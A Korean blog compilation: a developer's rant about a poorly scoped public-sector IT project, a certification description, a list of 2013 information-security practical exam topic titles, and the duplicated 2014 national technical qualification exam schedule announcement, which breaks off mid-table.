국내 국영 공기업 XXXX의 IT 프로젝트 이야기

 

 

정규프로젝트는 아니지만 2달짜리 계획하고, 차후에 본프로젝트가 있다고 하길래,

최악의 사업장만 소개시켜주는 회사의 연락들 받고 간단한 인터뷰 후 바로 업무 시작하게 된다.

 

프로젝트 팀원은 이사님이라고 소개받은 2명의 이사(개발작업한다는이사, 설계한다는 이사;

                                                                                            요즘 높으신 분들이 현업에 있네..)

 

고급(실은 특급)인 나 , 그리고 차후에 유지보수 맡을 중급초 SSYNG정직원

 

우선 과제는 이미  망하게 만든 전임자의 뒤치닥거리...

설치하다 실패한 서버프로그램 삭제와 설치하지 못한 디비서버(보안과 운용능력)를 설치하고

연결테스트를 진행중..

역시나  OS보안(windows server 2012), 네트워크 보안 때문에 전임자가 실패하였음. 힘들게 산을 넘어

설치는 하였고, 포트틑 기본으로 80은 열어놓기 때문에 80으로 테스트 첫날 미션완료!!!

 

 

둘째날 전자정부프레임워크를 도입한다길래, 프레임워크는 50명 이상 100페이지 이상 되는 작업에서

사용하는것인데 이런 소규모 미니프로젝트에서 쓰기도하지만, 차후에 HTML디자이너 밖에 추가되지

않은 상황에서 의이함

 

=> WBS를 살펴보니 개발이사로 온 사람이 주로 맡을 부분이 회원관리부분 => 전자정부프레임웍 기본 사이트는 그 기능을

기본으로 적용되어 있음 ( 일할께 없겠구나, 과연 개발이사군)

 

대중 WBS를 살펴보니 만들어야 할 페이지(컨트롤러)부분이 80여개... 두달은 빠듯다하고 생각함.

 

만들어야 하는 사이트가 PMS (프로젝트관리시스템)인데 개발 중점이 산출물관리랑 프로젝트 진척율 CRUD 및 통계

당연이 그건 나에게 온거라서 빠듯하고 쉽진 않겠구나 생각!

 

오후에 회의로 단일프로젝트 관리 시스템이 아니 멀티 프로젝트 관리시템으로 해달라고 함.

=> 설계기간도 없은 두달짜리 PMS 개발에 멀티 프로젝트라

     - 구성원-프로젝트가 일대일 관계가 아닌 다다대 관계가 될 소지가 있으므로 어렵다고 의견표출

 (관리이사가 좀 이상하게 보이기 시작함)

 

 

 

관리이사로 온 여자 이사가 협의해 나가는 것같은데.

설계도 안된 두달짜리 WBS만 나온 프로젝트 다음주에 할 께, 산출물관리 : 담당자가 산출물을 올려서 PL->QA->PM 형식으로

승인을 거쳐가는 것인데, 처음에 이야기 할때는 이렇게 정해저 있다고 하더니

차후에는 개별적으로 변경되어야 하니 동적으로 구성해 달라고,

그 설정은 excel파일로 업로드 할꺼라고 함. ->차후에 쓸꺼고 이번에 이렇게 fix되어이다고 함.

=> 나는 이번에 fix된건 이야기 하나마나고 동적으로 결제라인 구성해서 이번에는 fix상태로 쓰겠다는 이야기 아니나고 함.

=> 그렇게 구성하여 결제라인 타는건 테스트만 2주이상인데.. 개발 1,5주 주고 되겠냐구 함.

(관리이사가 좀 이상함,

  군대에서 따지면 선임병이 요즘 AK소총이 좋다던데 50원줄께 5분만에 Px에서 사와라,

  주Xㄱㅗㅇ사라서 건축으로 따지면 설계도도 없이 고객이 이상적인 최고 예술의 확장가능한 주택을 말로 설명하고,

   한 천만원 들고 두달이면 되지요 하는걸 건축프로젝트 관리인이 기술공 모아놓고 이렇게 합시다 하고 전달하는 꼴)

 

=> 고객이 "달나라에 갑시다!!!"하고 요구하면, 아 그렇지요 "로켓쏘면 되지요!!" 하고 설계하는 꼴!

 

관리이사인지... 고객의 시간/비용의 어림없는 요구를 그대로 정확히 개발자에게 전달함.. -> 정확히 전달하느라 애쓰는 구나.

 

단가도 중급단가로 두달인데 ...

 

세째날...

 

불러놓고 산출물 관리가 이렇다면서.. 한 30분가량 10여페이지가량을 왔다갔다면서 산출물 관리 프로세스를 설명하였고,

나는 옆에서 같으들은 SSYNG 중급사원에게 실무연차가 얼마되시나 물어봄 "3년이시라고요.."

그럼 3년차의 관점에서 지금 들은거 개발하려면 얼마나 걸리시나요? 반문해며"

지금 제 생각으로는 지금 제대로 안된 4명 두달 이것만 투입해서 두달되도 좋은 결과로 좋은 소리 못듣을 것 같고

지금 계획은 어거 혼자서 1.5주인데...

테스트만 하고 버그잡는거도 2주이상 걸릴꺼 같은데요. 나는 대답한다.

 

설명은 이러니 나중에 필히 바뀔 테니 문서로 한번 그 내용을 만들어 보시죠.

(프로그램도 말로 만드는 것 아닌데.. 이것도 산출물과리해야 하는거 아냐?)

 

말만 늘어놓고 전자정부프레임웍 다운받은거랑, 빈껍대이 mysql 설치해놓고

1.5주만에 하란다.

 

이게 IT프로젝트의 현실이다....

건축을 하더라도 시간/비용생각하면서 요구사항을 이야기 하는데.

돈은 100원 줄테니 내일까지 윈도우를 만들리고 말하면 된다고 생각한다.

 

철수하고 집에 온김에 두 이사의 뒷조사를 좀 했따.

본사아 강원도 춘천에 있는 CDS모라는 회사다.

강원도 춘천에 미친놈이 충동질하며 휘어잡고 다른사람 미쳤다고 소문내는 동네아녀?


H모 대학은 90년대 전국20위권에서 최근 77위로 몰락해놓고면서 자기 잘났다고 좋은 학교라고

홍보한데며?

 

미친놈이 아니고 정상적인 사람은 자기 잘났다고 좋은 학교라고 이야기 못할텐데.

 

 

 

** 제3자로 자처하는 사람(KIM,Y.H)의 주장으로 최종고객사명은 가렸습니다.

** 궁금하신분은 메일로 제게 문의하시면 간단히 답변드리겠습니다.

 

 

 

 

 

 

 

 

 

 

 

자격명 : 임베디드기사
영문명 : Engineer Embedded

 

 

개요

임베디드시스템 하드웨어에 대한 이해, 임베디드 소프트웨어 플래폼, 임베디드 시스템 응용 소프트웨어에 대한 기초 지식과 설계 및 응용 능력을 바탕으로 임베디드 시스템에 펌웨어, 운영체제를 이식하고, 응용 프로그램을 설계, 구현 및 테스트를 수행하는 업무 또는 이와 관련된 지도적 업무를 수행

 

변천과정

신설 <2011.11.23. 고용노동부령 제35호>

 

수행직무

임베디드 시스템 하드웨어에 대한 이해, 임베디드 소프트웨어 플랫폼, 임베디드 시스템 응용 소프트웨어에 대한 기초 지식과 설계 및 응용 능력을 바탕으로 임베디드 시스템에 펌웨어, 운영체제를 이식하고, 응용 프로그램을 설계, 구현 및 테스트를 수행하는 업무 또는 이와 관련된 지도적 업무를 수행하는 직무

 

실시기관 홈페이지

실시기관명

한국산업인력공단

 

진로 및 전망

임베디드시스템 하드웨어, 임베디드 소프트웨어 플랫폼, 임베디드 시스템 응용 소프트웨어 분야

 

 

 

 

 

 

 

 

 

 

 

 

 

2013년 제2회 정보보안기사 2차 실기 기출문제 목록


2013년 12월 07일 오전 9:00 실시

 

* 출제문제

 

1. 라우터 accesslist 설정

 

2. 정성적 위험 분석론

 

3. 파일전송(FTP, TFTP) 위협 : 네트워크 부트를 위한 TFTP 위협)

 

4. 정보보호정책

 

5. LINUX 보안점검도구

 

6. LINUX 네트워크 방화벽

 

7.

 

8. 보안의 3요소

 

9. ARP 오버플로우 공격 : 해법

 

10. 위험평가 3가지

 

11. source code 보안취약점 7가지 (가트너)

 

12. HTTP FLODING (DOS) 공격방어설정

 

13. 위험분석 그룹핑

 

14. 무선 인터넷 WEP 보안 구성 : 프로세스 분석

 

15. 정보보호 관리적,기술적 조치

 

16. IIS web 로그분석 : http injection 공격점검

 

 

2014년도 국가기술자격검정 시행 공고.hwp

 

 

저는 주말에 별다른 일정이 없기 때문에,

종종 국가기술자격시험으로 스스로를 측정하기 위하여 참여합니다.

 

2014년도의 일정이 나왔습니다. 새로운 해에 새로운 도전이 되려 합니다.

 

 

 

공고 제2013-

 

 

 

2014년도 국가기술자격검정 시행공고

 

 

국가기술자격법 시행령15조의 규정에 따라 2014년도 국가기술자격검정 시행계획을 다음과 같이 공고합니다.

 

 

20131127

 

 

 

 

 

 

 

한국산업인력공단 이사장

 

 

 

알 림

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

수험원서 접수

. 수험원서 접수방법(인터넷 접수만 가능)

원서접수홈페이지 : www.Q-net.or.kr

. 수험원서 접수시간

원서접수 첫날 09:00부터 원서접수 마지막 날 18:00까지

. 수험원서 접수기간

필기시험 대상자 : 해당종목의 필기시험 원서접수기간

실기(면접)시험 대상자 : 해당종목의 실기(면접)시험 원서접수기간

기타 대상자

- 필기시험 면제자 : 해당종목의 실기시험 원서접수기간

- 실기시험 면제자 : 해당종목의 필기시험 원서접수기간

- 실기시험 면제자 : 원하는 일자에 접수가능

종목에 따라 시행일정이 다르므로 응시하고자하는 종목의 별 검정시행일정종목별 시행회 정확히 확인하여 시험 준비에 착오 없으시기 바랍니다.

필기(실기 필답)시험 시험시간은 다음 표와 같으니 참고하시기 바랍니다.

등 급

시험시간

비고

기 술 사

-

09:00 17:20

입실시간(시험시작 30분전)

기사, 산업기사(서비스) 등급종목별 시험시간이 상이함

기 능 장

2

11:30 12:30

기 사

1

09:30 제한시간

산업기사(서비스)

2

13:30 제한시간

기 능 사

1

09:30 10:30

2

11:30 12:30

기술사, 기능장, 기사, 산업기사, 서비스(일부종목) 필기시험 합격예정자는 당회 실기시험 원서접수 첫날부터 8일 이내(공휴일 제외)소정응시자격서류(졸업증명, 공단 력증명서, 근로기준법 제39조에 따른 사용증명서, 자체 경력증명서 등)를 제출하여야 하지정된 기간내에 제출하지 아니할 경우에는 필기시험 합격예정이 무효되니 착오 없으시기 바랍니다.

, 실기시험에 응시하고자 하는 수험자는 당회 실기시험 원서접수 첫날부터 4일이내 제출

근로기준법 제39조에 따른 사용증명서, 자체 경력증명서는 재직기간, 소속, 직위 및 담당업무의 내용이 구체적으로 기재된 것에 한함

외국서류 구비 사유로 기간내 제출할 수 없는 경우에는 상기 지정된 기간까지 본인의 신청에 따라 응시자격 증빙서류 제출을 최종합격자 발표 7일 전까지 연장 할 수 있음

제출된 응시자격서류는 D/B로 구축하여 보관관리하므로 응자격서류 제출기간 이전에도 제출할 수 있음(, 경력서류는 4대보험 가입증명서 중 1가지를 첨부해야만 함)

 

 

 

 

 

 

 

 

 

응시자격서류심사 기준일은 응시하고자 하는 종목의 필기시험 시행일

실기(면접)시험 원서접수는 4일간이며 첫날 09:00부터 마지막날 18:00까지

실기(면접)시험 접수마감일 이후 응시자격서류제출자는 응시자격서류심사만 가능 실기시험 접수는 불가함

응시자격서류심사 종료 후 서류심사 불합격자(자격미달, 미제출자)에 대하여는 인터넷에 공고하니 반드시 확인하기 바람

작업형 실기시험은 시험장 임차기관의 시설, 장비 및 일정, 수험인원 등을 고려하여 하므로 평일에도 시행하고 있으며, 일부 종목은 부득이 타 지역으로 이동하여 응시해야 하는 점을 유의하시기 바랍니다.

수험자 지참물 미지참시에는 시험에 응시할 수 없으니 유의하시기 바람

주관식 필기로 시행하는 실기시험(실기 필답형) 시험이 시작되는 첫번째 일요일에 전국 동시 시행됩니다.(기사 제4기능사 제5회 필기시험 및 실기 필답형 시험은 토요일 시행)

’15년도 국가기술자격검정 시행계획 수립 시에는 ‘14년도수험자 시행요일 선호도 설문조사를 실시하여 시행요일(토요일)을 선정할 계획임

상시 검정 안내

‘14년도 상시검정 시행종목은 12종목이며, 정기검정은 시행하지 않습니다.

상시검정은 공단에서 위탁한 한국기술자격검정원에서 시행하며, 원서접수 및 자격검정 정보안내는 http://t.q-net.or.kr을 활용하시기 바랍니다.

기타 안내사항

. 필기시험 합격(예정)자 및 최종합격자 발표시간은 해당 발표일 09:00

. 접수된 응시자격서류 등은 일체 반환하지 않음

. 수수료 환불은 www.Q-net.or.kr 참고하기 바람

. 시험시간 중에는 통신기기 및 전자기기[휴대용 전화기, 휴대용 개인정보단말기(PDA),휴대용 멀티미디어 재생장치(PMP), 휴대용 컴퓨터, 휴대용 카세트, 디지털 카메라, 성파일 변환기(MP3), 휴대용 게임기, 전자사전, 카메라펜, 시각표시 외의 기능이 부착된 시계]할 수 없음(휴대폰 등 사용 시 부정행위로 간주될 수 있음)

. 수험원서 및 답안지 등의 허위, 착오기재 또는 누락 등으로 인한 불이익은 일체 수험자의 책임으로 함

. 접수된 서류가 허위 또는 위조한 사실이 발견될 경우에는 불합격처리 또는 합격을 취소함

. 필기시험 면제기간 산정 기준일은 당회 필기시험 합격자 발표일로부터 2년간이니, 원서접수에 착오없으시기 바람

. 천재지변, 응시인원 증가 등 부득이한 경우에는 시행일정을 별도로 지정할 수 있음

. 시험장에는 차량출입이 불가한 경우가 많으니 가급적 대중교통을 이용하여 주시기 바람

. 통신기기 및 전자기기를 이용한 부정행위방지를 위해 금지물품 휴대의혹 수험자에 대해 금속탐지기를 사용하여 검색하니, 시험응시에 참고하시기 바람

. 상시검정 실기시험에 한하여 단체접수기관도 시험장 선택과 결제단계는 1명씩 처리가 가능하니 원서접수에 착오 없으시기 바람

. 연예인 사진, 캐릭터사진 등 본인 사진이 아니면서 신분증을 미지참한 경우 시험응시가 불가하며, 퇴실조치 되오니 착오없으시기 바람

. 기타 의문사항은 HRD객센(1644-8000) 또는 우리공단 지역본, 지사로 문의하시기 바람

자격검정 정보 안내

인터넷원서접수 : www.Q-net.or.kr 홈페이지 : www.hrdkorea.or.kr

 

 

 

 

 

 

알 림

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

수험원서 접수

. 수험원서 접수방법(인터넷 접수만 가능)

원서접수홈페이지 : www.Q-net.or.kr

. 수험원서 접수시간

원서접수 첫날 09:00부터 원서접수 마지막 날 18:00까지

. 수험원서 접수기간

필기시험 대상자 : 해당종목의 필기시험 원서접수기간

실기(면접)시험 대상자 : 해당종목의 실기(면접)시험 원서접수기간

기타 대상자

- 필기시험 면제자 : 해당종목의 실기시험 원서접수기간

- 실기시험 면제자 : 해당종목의 필기시험 원서접수기간

- 실기시험 면제자 : 원하는 일자에 접수가능

종목에 따라 시행일정이 다르므로 응시하고자하는 종목의 별 검정시행일정종목별 시행회 정확히 확인하여 시험 준비에 착오 없으시기 바랍니다.

필기(실기 필답)시험 시험시간은 다음 표와 같으니 참고하시기 바랍니다.

등 급

시험시간

비고

기 술 사

-

09:00 17:20

입실시간(시험시작 30분전)

기사, 산업기사(서비스) 등급종목별 시험시간이 상이함

기 능 장

2

11:30 12:30

기 사

1

09:30 제한시간

산업기사(서비스)

2

13:30 제한시간

기 능 사

1

09:30 10:30

2

11:30 12:30

기술사, 기능장, 기사, 산업기사, 서비스(일부종목) 필기시험 합격예정자는 당회 실기시험 원서접수 첫날부터 8일 이내(공휴일 제외)소정응시자격서류(졸업증명, 공단 력증명서, 근로기준법 제39조에 따른 사용증명서, 자체 경력증명서 등)를 제출하여야 하지정된 기간내에 제출하지 아니할 경우에는 필기시험 합격예정이 무효되니 착오 없으시기 바랍니다.

, 실기시험에 응시하고자 하는 수험자는 당회 실기시험 원서접수 첫날부터 4일이내 제출

근로기준법 제39조에 따른 사용증명서, 자체 경력증명서는 재직기간, 소속, 직위 및 담당업무의 내용이 구체적으로 기재된 것에 한함

외국서류 구비 사유로 기간내 제출할 수 없는 경우에는 상기 지정된 기간까지 본인의 신청에 따라 응시자격 증빙서류 제출을 최종합격자 발표 7일 전까지 연장 할 수 있음

제출된 응시자격서류는 D/B로 구축하여 보관관리하므로 응자격서류 제출기간 이전에도 제출할 수 있음(, 경력서류는 4대보험 가입증명서 중 1가지를 첨부해야만 함)

 

 

 

 

 

 

 

 

 

응시자격서류심사 기준일은 응시하고자 하는 종목의 필기시험 시행일

실기(면접)시험 원서접수는 4일간이며 첫날 09:00부터 마지막날 18:00까지

실기(면접)시험 접수마감일 이후 응시자격서류제출자는 응시자격서류심사만 가능 실기시험 접수는 불가함

응시자격서류심사 종료 후 서류심사 불합격자(자격미달, 미제출자)에 대하여는 인터넷에 공고하니 반드시 확인하기 바람

작업형 실기시험은 시험장 임차기관의 시설, 장비 및 일정, 수험인원 등을 고려하여 하므로 평일에도 시행하고 있으며, 일부 종목은 부득이 타 지역으로 이동하여 응시해야 하는 점을 유의하시기 바랍니다.

수험자 지참물 미지참시에는 시험에 응시할 수 없으니 유의하시기 바람

주관식 필기로 시행하는 실기시험(실기 필답형) 시험이 시작되는 첫번째 일요일에 전국 동시 시행됩니다.(기사 제4기능사 제5회 필기시험 및 실기 필답형 시험은 토요일 시행)

’15년도 국가기술자격검정 시행계획 수립 시에는 ‘14년도수험자 시행요일 선호도 설문조사를 실시하여 시행요일(토요일)을 선정할 계획임

상시 검정 안내

‘14년도 상시검정 시행종목은 12종목이며, 정기검정은 시행하지 않습니다.

상시검정은 공단에서 위탁한 한국기술자격검정원에서 시행하며, 원서접수 및 자격검정 정보안내는 http://t.q-net.or.kr을 활용하시기 바랍니다.

기타 안내사항

. 필기시험 합격(예정)자 및 최종합격자 발표시간은 해당 발표일 09:00

. 접수된 응시자격서류 등은 일체 반환하지 않음

. 수수료 환불은 www.Q-net.or.kr 참고하기 바람

. 시험시간 중에는 통신기기 및 전자기기[휴대용 전화기, 휴대용 개인정보단말기(PDA),휴대용 멀티미디어 재생장치(PMP), 휴대용 컴퓨터, 휴대용 카세트, 디지털 카메라, 성파일 변환기(MP3), 휴대용 게임기, 전자사전, 카메라펜, 시각표시 외의 기능이 부착된 시계]할 수 없음(휴대폰 등 사용 시 부정행위로 간주될 수 있음)

. 수험원서 및 답안지 등의 허위, 착오기재 또는 누락 등으로 인한 불이익은 일체 수험자의 책임으로 함

. 접수된 서류가 허위 또는 위조한 사실이 발견될 경우에는 불합격처리 또는 합격을 취소함

. 필기시험 면제기간 산정 기준일은 당회 필기시험 합격자 발표일로부터 2년간이니, 원서접수에 착오없으시기 바람

. 천재지변, 응시인원 증가 등 부득이한 경우에는 시행일정을 별도로 지정할 수 있음

. 시험장에는 차량출입이 불가한 경우가 많으니 가급적 대중교통을 이용하여 주시기 바람

. 통신기기 및 전자기기를 이용한 부정행위방지를 위해 금지물품 휴대의혹 수험자에 대해 금속탐지기를 사용하여 검색하니, 시험응시에 참고하시기 바람

. 상시검정 실기시험에 한하여 단체접수기관도 시험장 선택과 결제단계는 1명씩 처리가 가능하니 원서접수에 착오 없으시기 바람

. 연예인 사진, 캐릭터사진 등 본인 사진이 아니면서 신분증을 미지참한 경우 시험응시가 불가하며, 퇴실조치 되오니 착오없으시기 바람

. 기타 의문사항은 HRD객센(1644-8000) 또는 우리공단 지역본, 지사로 문의하시기 바람

자격검정 정보 안내

인터넷원서접수 : www.Q-net.or.kr 홈페이지 : www.hrdkorea.or.kr

 

 

 

 

. 검정시행일정 및 종목

1. 검정시행일정

회별

회별

필기시험 원서접수

필 기

시 험

필기시험

합격예정자 발 표

응시자격 서류제출 및

필기시험 합격자결정

(방문제출)

실기(면 접)

시 험

합격자

발 표

실기(면접)시험 원서접수

(인 터 넷)

인 터 넷

기술사

102

1.31.9

2.9

3.21

3.243.27

4.194.30

5.23

103

4.44.10

5.11

6.27

6.307.3

7.268.8

8.22

104

6.277.3

8.3

9.19

9.229.25

10.1810.30

11.14

기능장

55

3.143.20

4.6

4.18

4.214.24

5.246.6

6.27

56

6.277.3

7.20

8.1

8.48.7

9.139.26

10.17

기사

(산업기사

서비스)

1

2.72.13

3.2

3.14

3.173.21

(3.18 제외)

4.195.2

5.30

2

4.184.24

5.25

6.5

6.96.12

7.57.18

8.22

3

7.257.31

8.17

8.29

9.19.4

10.410.17

11.14

4

8.228.28

9.20()

10.2

10.610.10

(10.9 제외)

11.111.14

12.12

기능사

1

1.31.9

1.26

2.21

2.242.27

3.224.4

4.25

2

3.143.20

4.6

4.18

4.214.24

5.246.6

6.27

3

산업수요 맞춤형 고등학교 및 특성화고등학교 필기시험 면제자 검정

일반인 필기시험 면제자 응시 불가

5.195.22

6.146.27

7.18

4

6.277.3

7.20

8.1

8.48.7

9.139.26

10.17

5

9.129.18

10.11()

10.24

10.2710.30

11.2212.5

12.26

 

유의 사항

 

 

 

 

원서접수시간 : 원서접수 첫날 09:00부터 마지막 날 18:00까지

필기시험 합격(예정)자 및 최종합격자 발표시간은 해당 발표일 09:00

종목에 따라 시행일정이 다르므로 아래 등급 및 종목별 시행회를 반드시 확인하시기 바람

천재지변, 응시인원 증가 등 부득이한 경우에는 시행일정을 검정시행기관장이 조정할 수 있음

토요일 시행(시범): 기사 제4회 및 기능사 제5회의 필기 및 필답형 시험

 

 

2. 등급 및 종목별 시행회

시행회란은 “1.검정시행일정의 표와 연계하여 확인하시기 바람

(1) 기 술 사

직 무 분 야

종 목 명

시 행 회

 

직 무 분 야

종 목 명

시 행 회

안 전 관 리

가 스

102104

 

환경에너지

대 기 관 리

102104

기 계

건 설 기 계

102104

 

건 설

도 로 및 공 항

102103104

안 전 관 리

건 설 안 전

102103104

 

건 설

도 시 계 획

102103104

건 설

건 축 구 조

102103104

 

전기전자

발 송 배 전

102104

건 설

건축기계설비

102103104

 

안 전 관 리

비 파 괴 검 사

102

건 설

건 축 시 공

102103104

 

농 림 어 업

산 림

102104

전기전자

건축전기설비

102103104

 

전기전자

산업계측제어

103

건 설

건축품질시험

102

 

기 계

산업기계설비

102

경영회계사무

공 장 관 리

103

 

안 전 관 리

산업위생관리

102104

기 계

공조냉동기계

102104

 

건 설

상 하 수 도

102103104

건 설

교 통

102104

 

섬유의복

섬 유

103

재 료

금 속 가 공

102

 

재 료

세 라 믹

103

재 료

금 속 재 료

102

 

안 전 관 리

소 방

102103104

재 료

금 속 제 련

103

 

환경에너지

소 음 진 동

102104

기 계

금 형

103

 

농 림 어 업

수 산 양 식

102

기 계

기 계

103

 

식 품 가 공

수 산 제 조

103

안 전 관 리

기 계 안 전

102

 

건 설

수 자 원 개 발

102104

환경에너지

기 상 예 보

103

 

환경에너지

수 질 관 리

102104

건 설

농 어 업 토 목

102103

 

농 림 어 업

시 설 원 예

103

농 림 어 업

농 화 학

104

 

식 품 가 공

식 품

102104

 

 

 

직 무 분 야

종 목 명

시 행 회

 

직 무 분 야

종 목 명

시 행 회

농 림 어 업

어 로

102

 

농 림 어 업

축 산

102

재 료

용 접

102104

 

건 설

측량및지형공간정보

102104

섬유의복

의 류

103

 

정 보 통 신

컴퓨터시스템응용

102104

안 전 관 리

인 간 공 학

103

 

건 설

토 목 구 조

102103104

환경에너지

자연환경관리

103104

 

건 설

토 목 시 공

102103104

안 전 관 리

전 기 안 전

102104

 

건 설

토목품질시험

102103

전기전자

전 기 응 용

103

 

환경에너지

토 양 환 경

103104

전기전자

전 기 철 도

103104

 

건 설

토 질 및 기 초

102103104

전기전자

전 자 응 용

102

 

환경에너지

폐 기 물 처 리

102104

정 보 통 신

정 보 관 리

102104

 

경영회계사무

포 장

102

문화예술디자인방송

제 품 디 자 인

103

 

재 료

표 면 처 리

102

건 설

조 경

102103

 

경영회계사무

품 질 관 리

103104

기 계

조 선

103

 

기 계

항 공 기 관

104

농 림 어 업

종 자

102

 

기 계

항 공 기 체

104

건 설

지 적

102104

 

건 설

항 만 및 해 안

102103

건 설

지 질 및 지 반

102104

 

건 설

해 양

102

기 계

차 량

102104

 

화 학

화 공

103

건 설

철 도

102103104

 

안 전 관 리

화 공 안 전

102

전기전자

철 도 신 호

102103

 

광업자원

화 약 류 관 리

103

기 계

철 도 차 량

103104

 

 

 

 

 

 

(2) 기 능 장

아래표 중 시행구분의 숫자 “2”는 필기(필답)시험 2부 시행을 의미함

직 무 분 야

종 목 명

시행

구분

시 행 회

 

직 무 분 야

종 목 명

시행

구분

시 행 회

안 전 관 리

가 스

2

5556

 

화 학

위 험 물

2

5556

기 계

건설기계정비

2

5556

 

이용숙박여행오락스포츠

이 용

2

5556

건 설

건축목재시공

2

55

 

기 계

자동차정비

2

5556

건 설

건축일반시공

2

56

 

전기전자

전 기

2

5556

인쇄목재가구공예

귀금속가공

2

56

 

전기전자

전 자 기 기

2

5556

재 료

금 속 재 료

2

5556

 

재 료

제 강

2

5556

기 계

금 형 제 작

2

55

 

식 품 가 공

제 과

2

5556

기 계

기 계 가 공

2

5556

 

재 료

제 선

2

55

이용숙박여행오락스포츠

미 용

2

5556

 

음식서비스

조 리

2

5556

건 설

배 관

2

5556

 

재 료

주 조

2

56

재 료

압 연

2

5556

 

기 계

철도차량정비

2

56

환경·에너지

에너지관리

2

5556

 

재 료

판 금 제 관

2

55

재 료

용 접

2

5556

 

재 료

표 면 처 리

2

56

 

(3) 기사산업기사(전문사무 포함)

: 자격종목 자체가 없음

직무분야

종 목 명

시 행 회

 

직무분야

종 목 명

시 행 회

기사(1)

산업기사

서비스(2)

기사(1)

산업기사

서비스(2)

안 전 관 리

가 스

123

124

 

건 설

건 축

124

123

기 계

건설기계설비

123

123

 

건 설

건 축 목 공

2

기 계

건설기계정비

2

13

 

건 설

건 축 설 비

124

124

안 전 관 리

건 설 안 전

124

124

 

건 설

건축일반시공

2

건 설

건설재료시험

124

124

 

기 계

공조냉동기계

123

123

 

 

직무분야

종 목 명

시 행 회

 

직무분야

종 목 명

시 행 회

기사(1)

산업기사

서비스(2)

기사(1)

산업기사

서비스(2)

전기전자

광 학

2

 

환경에너지

생물분류(식물)

2

전기전자

광 학 기 기

3

 

기 계

생산자동화

123

건 설

교 통

124

3

 

기 계

설 비 보 전

24

보건의료

국제의료관광코디네이터

4

 

섬유의복

섬유디자인

2

기 계

궤도장비정비

4

4

 

섬유의복

섬 유

2

2

인쇄목재가구공예

귀금속 가공

3

 

안 전 관 리

소방설비(기계분야)

124

124

기 계

그린전동자동차

4

 

안 전 관 리

소방설비(전기분야)

124

124

재 료

금속재료

2

124

 

경영회계사무

소비자전문상담사1

4

기 계

기계가공조립

124

 

경영회계사무

소비자전문상담사2

13

기 계

기 계 설 계

2

123

 

환경에너지

소 음 진 동

124

2

기 계

기 계 정 비

123

 

농 림 어 업

수 산 양 식

13

3

환경에너지

기 상

13

 

식 품 가 공

수 산 제 조

2

환경에너지

기 상 감 정

4

 

환경에너지

수 질 환 경

123

123

환경에너지

농림토양평가관리

2

 

이용숙박여행오락스포츠

스포츠경영관리사

24

기 계

농 업 기 계

3

2

 

기 계

승 강 기

14

14

안 전 관 리

누설비파괴검사

24

 

문화예술디자인방송

시각 디자인

2

124

환경에너지

대 기 환 경

124

124

 

농 림 어 업

시 설 원 예

1

도 시 계 획

124

 

농림어업

식 물 보 호

124

14

건 설

정 보 통 신

멀티미디어콘텐츠제작전문가

123

 

식품가공

식 품

123

123

기 계

메카트로닉스

2

 

환경·에너지

신재생에너지발전설비(태양광)

4

4

전기전자

반도체설계

3

4

 

건 설

실 내 건 축

124

123

안 전 관 리

방사선비파괴검사

14

14

 

농 림 어 업

어 로

2

건 설

방 수

3

 

농 림 어 업

어업생산관리

2

건 설

배 관

2

 

환경에너지

에너지관리

124

124

정 보 통 신

사 무 자 동 화

124

 

안 전 관 리

와전류비파괴검사

2

기 계

사 출 금 형

123

 

환경에너지

온실가스관리

4

4

기 계

사출금형설계

2

 

재 료

용 접

13

123

경영회계사무

사회조사분석사1

4

 

화 학

위 험 물

124

경영회계사무

사회조사분석사2

123

 

농 림 어 업

유 기 농 업

13

1

농 림 어 업

산 림

123

123

 

건 설

응 용 지 질

123

안 전 관 리

산 업 안 전

123

123

 

전기전자

의 공

14

14

안 전 관 리

산업위생관리

123

123

 

섬유의복

의 류

2

화 학

생 물 공 학

2

 

안 전 관 리

인 간 공 학

13

환경에너지

생물분류(동물)

2

 

인쇄목재가구공예

인 쇄

2

3

 

 

직무분야

종 목 명

시 행 회

 

직무분야

종 목 명

시 행 회

기사(1)

산업기사

서비스(2)

기사(1)

산업기사

서비스(2)

기 계

일 반 기 계

124

 

건 설

철 도 토 목

2

2

전기전자

임 베 디 드

4

 

안 전 관 리

초음파비파괴검사

13

13

농 림 어 업

임 산 가 공

4

4

 

농 림 어 업

축 산

14

14

보건의료

임상심리사1

4

 

건 설

측량및지형공간정보

124

124

보건의료

임상심리사2

3

 

기 계

치공구설계

3

농 림 어 업

임 업 종 묘

3

 

안 전 관 리

침투비파괴검사

124

14

안 전 관 리

자기비파괴검사

13

13

 

경영회계사무

컨벤션기획사1

미시행

기 계

자동차정비

123

123

 

경영회계사무

컨벤션기획사2

2

환경에너지

자연생태복원

123

13

 

문화예술디자인방송

컬러리스트

123

123

건 설

잠 수

2

 

기 계

컴퓨터응용가공

124

재 료

재료조직평가

3

 

건 설

콘 크 리 트

123

123

전기전자

전 기

123

123

 

영업판매

텔레마케팅관리사

123

전기전자

전 기 공 사

124

124

 

건 설

토 목

124

124

전기전자

전 기 철 도

123

3

 

환경에너지

토 양 환 경

124

전기전자

전 자

124

124

 

재 료

판 금 제 관

2

전기전자

전자계산기

14

 

섬유의복

패션 디자인

14

전기전자

전자계산기제어

1

 

섬유의복

패션머천다이징

13

정 보 통 신

전자계산기조직응용

13

 

환경에너지

폐기물처리

124

124

기 계

전자부품장착(SMT)

4

 

경영회계사무

포 장

2

2

기 계

정 밀 측 정

13

 

재 료

표 면 처 리

3

정 보 통 신

정 보 처 리

123

123

 

경영회계사무

품 질 경 영

124

124

문화예술디자인방송

제품 디자인

2

1

 

기 계

프레스 금형

2

건 설

조 경

124

124

 

기 계

프레스금형설계

2

음식서비스

조 리(한식)

13

 

인쇄목재가구공예

피아노 조율

2

음식서비스

조 리(양식)

3

 

섬유의복

한 복

3

음식서비스

조 리(중식)

3

 

기 계

항 공

3

124

음식서비스

조 리(일식)

3

 

건 설

항 로 표 지

3

2

음식서비스

조 리(복어)

3

 

건 설

해 양 공 학

2

기 계

조 선

1

1

 

건 설

해양자원개발

2

농 림 어 업

종 자

13

13

 

건 설

해 양 조 사

2

재 료

주 조

3

 

건 설

해 양 환 경

2

건 설

지 적

123

123

 

화 학

화 공

124

사회복지종교

직업상담사1

24

 

광업자원

화약류 관리

14

14

사회복지종교

직업상담사2

123

 

화 학

화약류 제조

1

1

전기전자

철 도 신 호

14

3

 

안 전 관 리

화재감식평가

4

4

운전운송

철 도 운 송

124

 

화 학

화 학 분 석

14

기 계

철 도 차 량

2

14

 

농 림 어 업

화 훼 장 식

3

 

 

(4) 기능사

